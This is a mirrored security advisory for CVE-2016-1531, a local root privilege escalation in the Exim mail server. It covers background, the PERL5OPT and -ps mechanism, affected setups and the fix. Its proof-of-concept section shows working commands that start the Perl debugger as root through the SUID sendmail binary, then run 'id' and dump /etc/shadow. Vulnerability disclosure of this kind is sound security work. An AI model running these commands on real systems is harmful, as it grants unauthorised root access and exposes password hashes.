Exim < 4.86.2 - Local Privilege Escalation

  • 作者: Dawid Golunski
    日期: 2016-03-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39549/
  • =============================================
    - Advisory release date: 10.03.2016
    - Created by: Dawid Golunski
    - Severity: High/Critical
    =============================================
    
    
    I. VULNERABILITY
    -------------------------
    
    Exim < 4.86.2Local Root Privilege Escalation Exploit
    
    
    II. BACKGROUND
    -------------------------
    
    "Exim is a message transfer agent (MTA) developed at the University of 
    Cambridge for use on Unix systems connected to the Internet. It is freely 
    available under the terms of the GNU General Public Licence. In style it is 
    similar to Smail 3, but its facilities are more general. There is a great 
    deal of flexibility in the way mail can be routed, and there are extensive 
    facilities for checking incoming mail. Exim can be installed in place of 
    Sendmail, although the configuration of Exim is quite different."
    
    http://www.exim.org/
    
    
    III. INTRODUCTION
    -------------------------
    
    When Exim installation has been compiled with Perl support and contains a 
    perl_startup configuration variable it can be exploited by malicious local 
    attackers to gain root privileges.
    
    IV. DESCRIPTION
    -------------------------
    
    The vulnerability stems from Exim in versions below 4.86.2 not performing 
    sanitization of the environment before loading a perl script defined
    with perl_startup setting in exim config.
    
    perl_startup is usually used to load various helper scripts such as
    mail filters, gray listing scripts, mail virus scanners etc.
    
    For the option to be supported, exim must have been compiled with Perl 
    support, which can be verified with:
    
    [dawid@centos7 ~]$ exim -bV -v | grep i Perl
    Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
    Content_Scanning DKIM Old_Demime PRDR OCSP
    
    
    To perform the attack, attacker can take advantage of the exim's sendmail 
    interface which links to an exim binary that has an SUID bit set on it by 
    default as we can see below:
    
    [dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim 
    lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
    
    [dawid@centos7 ~]$ ls -l /usr/sbin/exim
    -rwsr-xr-x. 1 root root 1222416 Dec72015 /usr/sbin/exim
    
    
    Normally, when exim sendmail interface starts up, it drops its root
    privileges before giving control to the user (i.e entering mail contents for
    sending etc), however an attacker can make use of the following command line 
    parameter which is available to all users:
    
    -psThisoptionapplies when an embedded Perl interpreter is linked with 
     Exim. It overrides the setting of the perl_at_start option, forcing the 
     starting of the interpreter to occur as soon as Exim is started.
    
    
    As we can see from the documentation at:
    
    http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
    
    the perl_at_start option does the following:
    
    "Setting perl_at_start (a boolean option) in the configuration requests a 
    startup when Exim is entered."
    
    Therefore it is possible to force the execution of the perl_startup script
    defined in the Exim's main config before exim drops its root privileges.
    
    
    To exploit this setting and gain the effective root privilege of the SUID binary,
    attackers can inject PERL5OPT perl environment variable, which does not get
    cleaned by affected versions of Exim.
    
    As per perl documentation, the environment variable allows to set perl command-line 
    options (switches). Switches in this variable are treated as if they were on every
    Perl command line. 
    
    There are several interesting perl switches that that could be set by attackers to 
    trigger code execution. 
    One of these is -d switch which forces perl to enter an interactive debug mode 
    in which it is possible to take control of the perl application.
    
    An example proof of concept exploit using the -d switch can be found below.
    
    
    V. PROOF OF CONCEPT ROOT EXPLOIT
    -------------------------
    
    [dawid@centos7 ~]$ head /etc/exim/exim.conf 
    ######################################################################
    #Runtime configuration file for Exim #
    ######################################################################
    
    # Custom filtering via perl
    perl_startup = do '/usr/share/exim4/exigrey.pl'
    
    [dawid@centos7 ~]$ exim -bV -v | grep -i Perl
    Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
    
    [dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost
    
    Loading DB routines from perl5db.pl version 1.37
    Editor support available.
    
    Enter h or 'h h' for help, or 'man perldebug' for more help.
    
    Debugged program terminated.Use q to quit or R to restart,
    use o inhibit_exit to avoid stopping after program termination,
    h q, h R or h o to get additional info.
    
    DB<1> p system("id");
    uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    0
    DB<2> p system("head /etc/shadow");
    root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
    bin:*:16372:0:99999:7:::
    daemon:*:16372:0:99999:7::
    [...]
    
    
    VI. BUSINESS IMPACT
    -------------------------
    
    This vulnerability could be exploited by attackers who have local access to the
    system to escalate their privileges to root which would allow them to fully
    compromise the system.
    
    VII. SYSTEMS AFFECTED
    -------------------------
    
    Exim versions before the latest patched version of Exim 4.86.2 are affected by 
    this vulnerability, if Exim was compiled with Perl support and the main 
    configuration file (i.e /etc/exim/exim.conf or /etc/exim4/exim.conf), contains 
    a perl_startup option e.g:
    
    perl_startup = do '/usr/share/exim4/exigrey.pl'
    
    It is important to note that the file does not necessarily have to exist
    to exploit the vulnerability. Although the path must be specified.
    
    
    VIII. SOLUTION
    -------------------------
    
    Update to Exim 4.86.2 which contains the official patch that fixes the
    environment sanitization issues.
    
    IX. REFERENCES
    -------------------------
    
    http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
    http://www.exim.org/
    http://www.exim.org/static/doc/CVE-2016-1531.txt
    http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
    https://github.com/Exim/exim/commit/29f9808015576a9a1f391f4c6b80c7c606a4d99f
    
    CVE-2016-1531
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1531
    
    X. ADVISORY CREATED BY
    -------------------------
    
    This advisory has been created by Dawid Golunski
    dawid (at) legalhackers (dot) com
    legalhackers.com
    
    XI. REVISION HISTORY
    -------------------------
    
    March 10th, 2016:Advisory released
    March 11th, 2016:Fixed advisory header,added cve.mitre link of the root issue
    
    XII. LEGAL NOTICES
    -------------------------
    
    The information contained within this advisory is supplied "as-is" with
    no warranties or guarantees of fitness of use or otherwise. I accept no
    responsibility for any damage caused by the use or misuse of this information.